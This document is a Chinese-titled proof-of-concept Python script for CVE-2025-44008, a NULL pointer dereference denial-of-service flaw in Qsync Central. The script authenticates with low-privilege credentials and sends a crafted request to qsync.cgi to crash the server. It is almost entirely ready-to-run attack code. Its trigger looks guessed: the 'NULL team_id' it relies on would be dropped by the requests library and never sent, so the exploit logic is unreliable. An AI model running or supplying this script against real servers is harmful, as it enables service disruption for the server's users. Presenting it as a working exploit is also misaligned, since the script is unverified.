CVE-2025-44008：Qsync Central空指针解引用拒绝服务漏洞

# CVE-2025-44008 - Qsync Central NULL Pointer Dereference PoC # This PoC demonstrates how to trigger the NULL pointer dereference vulnerability # in Qsync Central to cause a denial-of-service (DoS) attack. # Note: Attacker must have valid low-privilege user credentials. import requests import sys TARGET_HOST = "https://qsync-central-target.example.com" USERNAME = "victim_user" PASSWORD = "victim_password" def trigger_null_ptr_dereference(): """ Trigger NULL pointer dereference in Qsync Central by sending a crafted request after authentication. """ session = requests.Session() # Step 1: Authenticate with valid low-privilege credentials login_url = f"{TARGET_HOST}/cgi-bin/qsync/qsync.cgi" login_payload = { "func": "login", "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_payload, verify=False, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable code path is triggered when an invalid/missing # parameter is passed to a specific API endpoint, causing the # server to dereference a NULL pointer. trigger_url = f"{TARGET_HOST}/cgi-bin/qsync/qsync.cgi" # Crafted payload with invalid parameters to trigger NULL ptr dereference trigger_payload = { "func": "sync_operation", "folder_id": "", # Empty/invalid folder ID "action": "list", "team_id": None, # NULL team_id triggers the bug "extra_param": "\x00" * 16 # Null bytes to confuse parser } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } try: resp = session.post(trigger_url, data=trigger_payload, headers=headers, verify=False, timeout=10) print(f"[*] Trigger response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") except requests.exceptions.ConnectionError: # Server may crash, resulting in connection error print("[+] Server connection lost - DoS may have succeeded!") return True except Exception as e: print(f"[*] Exception occurred: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-44008 - Qsync Central NULL Pointer Dereference PoC") print("=" * 60) trigger_null_ptr_dereference()